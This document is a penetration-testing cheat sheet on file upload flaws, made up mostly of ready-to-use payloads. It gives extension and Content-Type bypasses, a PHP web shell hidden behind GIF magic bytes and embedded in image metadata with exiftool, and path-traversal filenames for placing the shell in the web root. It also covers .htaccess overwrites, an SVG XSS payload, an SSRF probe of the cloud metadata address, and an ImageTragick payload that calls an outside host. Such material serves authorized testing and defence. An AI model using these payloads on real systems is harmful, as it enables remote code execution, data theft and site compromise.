File Upload

Two questions decide the impact: where does it land, and does the server execute it there.

Always check first

Where is the file served from? Same origin or a separate CDN host?
Is the name kept, or replaced with a UUID?
Is the extension checked on the client only?
Is the response leaking the absolute path?

Extension bypasses

shell.php.jpg          shell.jpg.php
shell.pHp              shell.php5  .phtml  .phar  .inc  .phps  .php7
shell.php%00.jpg       shell.php%20      shell.php.
shell.php::$DATA       (IIS)
shell.php/             shell.php/.
shell.asp;.jpg         (IIS semicolon)
shell.aspx.  .cer  .asa  .cdx

Double extension only works if the server picks the first match, so test both orders.

Content-Type and magic bytes

Content-Type: image/jpeg   on a .php body

Prepend a real header so getimagesize() and file both pass:

GIF89a;
<?php system($_GET['c']); ?>

# park the payload inside a real image's metadata
exiftool -Comment='<?php system($_GET["c"]); ?>' cat.jpg -o shell.php.jpg

Path traversal in the filename

The highest-value variant — moves the file out of the upload directory.

filename="../../../../var/www/html/shell.php"
filename="..%2f..%2f..%2fshell.php"
filename="....//....//shell.php"

Overwrite something that matters

.htaccess       →  AddType application/x-httpd-php .jpg
web.config      →  IIS handler mapping
crossdomain.xml →  Flash/silverlight trust
robots.txt      →  low, but proves write
/.well-known/   →  ACME, apple-app-site-association, assetlinks.json

.htaccess is the standard escalation when PHP extensions are filtered.

No RCE? Still a bug

Stored XSS — SVG, HTML, or a PDF served inline. Check Content-Disposition.
XXE — SVG, DOCX, XLSX, SVG-in-PDF. See XXE.
SSRF — SVG with <image href="http://169.254.169.254/">, or any server-side thumbnailer.
Zip slip — traversal inside an archive the server extracts.
DoS — zip bomb, decompression bomb, pixel flood.

SVG stored XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

Image parsers

If the server converts or resizes, you are talking to ImageMagick / libvips / Ghostscript.

# ImageTragick — check the version, MSL/MVG handlers
push graphic-context
viewbox 0 0 640 480
fill 'url(https://oob.tld/)'
pop graphic-context

Tools

URL	Description
https://github.com/almandin/fuxploider	Upload fuzzer
https://github.com/modzero/mod0BurpUploadScanner	Burp extension
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files	Payload set